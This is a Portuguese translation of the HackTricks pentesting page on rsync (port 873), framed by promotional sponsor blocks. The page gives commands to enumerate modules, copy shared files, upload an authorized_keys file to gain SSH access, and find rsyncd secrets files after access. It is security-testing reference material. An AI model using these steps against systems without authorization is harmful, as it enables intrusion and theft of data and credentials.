hacktricks/network-services-pentesting/873-pentesting-rsync.md

105 lines
7.9 KiB
Markdown
Raw Normal View History

# 873 - Pentesting Rsync
2022-04-28 16:01:33 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Informações Básicas**
> **rsync** é uma ferramenta para [transferir](https://en.wikipedia.org/wiki/File\_transfer) e [sincronizar](https://en.wikipedia.org/wiki/File\_synchronization) [arquivos](https://en.wikipedia.org/wiki/Computer\_file) de forma eficiente entre um computador e um disco rígido externo e entre [computadores em rede](https://en.wikipedia.org/wiki/Computer\_network), comparando os [tempos de modificação](https://en.wikipedia.org/wiki/Timestamping\_\(computing\)) e tamanhos dos arquivos.[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) É comumente encontrado em [sistemas operacionais do tipo Unix](https://en.wikipedia.org/wiki/Unix-like). O algoritmo rsync é um tipo de [codificação delta](https://en.wikipedia.org/wiki/Delta\_encoding) e é utilizado para minimizar o uso da rede. [Zlib](https://en.wikipedia.org/wiki/Zlib) pode ser usado para compressão de [dados](https://en.wikipedia.org/wiki/Data\_compression) adicional,[\[3\]](https://en.wikipedia.org/wiki/Rsync#cite\_note-man\_page-3) e [SSH](https://en.wikipedia.org/wiki/Secure\_Shell) ou [stunnel](https://en.wikipedia.org/wiki/Stunnel) podem ser usados para segurança.
2022-04-28 16:01:33 +00:00
2023-06-06 18:56:34 +00:00
De [wikipedia](https://en.wikipedia.org/wiki/Rsync).
2023-06-06 18:56:34 +00:00
**Porta padrão:** 873
```
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
```
2023-06-06 18:56:34 +00:00
## Enumeração
### Banner & Comunicação Manual
```bash
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
```
2023-06-06 18:56:34 +00:00
### **Enumerar pastas compartilhadas**
**Um módulo rsync é essencialmente um compartilhamento de diretório**. Esses módulos **podem opcionalmente ser protegidos por uma senha**. Esta opção lista os módulos disponíveis e, opcionalmente, determina se o módulo requer uma senha para acesso:
```bash
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
```
Perceba que pode ser configurado um nome compartilhado para não ser listado. Assim, pode haver algo **oculto**.
Perceba que podem haver alguns **nomes compartilhados** listados onde você precisa de algumas (diferentes) **credenciais** para acessar. Então, nem sempre todos os nomes listados vão ser acessíveis e você perceberá isso se receber uma mensagem de _**"Acesso Negado"**_ ao tentar acessar alguns deles.
### [**Força Bruta**](../generic-methodologies-and-resources/brute-force.md#rsync)
2023-06-06 18:56:34 +00:00
### Rsync Manual
Uma vez que você tem a **lista de módulos**, você tem algumas opções diferentes dependendo das ações que deseja realizar e se a autenticação é ou não necessária. **Se a autenticação não for necessária**, você pode **listar** uma pasta compartilhada:
```bash
rsync -av --list-only rsync://192.168.0.123/shared_name
```
2023-06-06 18:56:34 +00:00
E **copie** todos os **arquivos** para sua máquina local através do seguinte comando:
```bash
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
```
Esta **transfere recursivamente todos os arquivos do diretório** `<shared_name>` na máquina `<IP>` para o diretório `./rsync_shared` na máquina local. Os arquivos são transferidos no modo "arquivo", o que garante que links simbólicos, dispositivos, atributos, permissões, propriedades, etc. sejam preservados na transferência.
Se você **possui credenciais**, pode **listar/baixar** um **nome compartilhado** usando (a senha será solicitada):
```bash
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
```
Você também pode **fazer upload** de algum **conteúdo** usando rsync (por exemplo, neste caso, podemos fazer upload de um arquivo _**authorized\_keys**_ para obter acesso ao sistema):
```bash
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
```
2022-05-01 13:25:53 +00:00
## POST
Encontre o arquivo de configuração rsyncd:
```bash
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
```
2023-06-06 18:56:34 +00:00
Dentro do arquivo de configuração, às vezes você pode encontrar o parâmetro _secrets file = /path/to/file_ e este arquivo pode conter nomes de usuário e senhas permitidos para autenticar no rsyncd.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**material oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>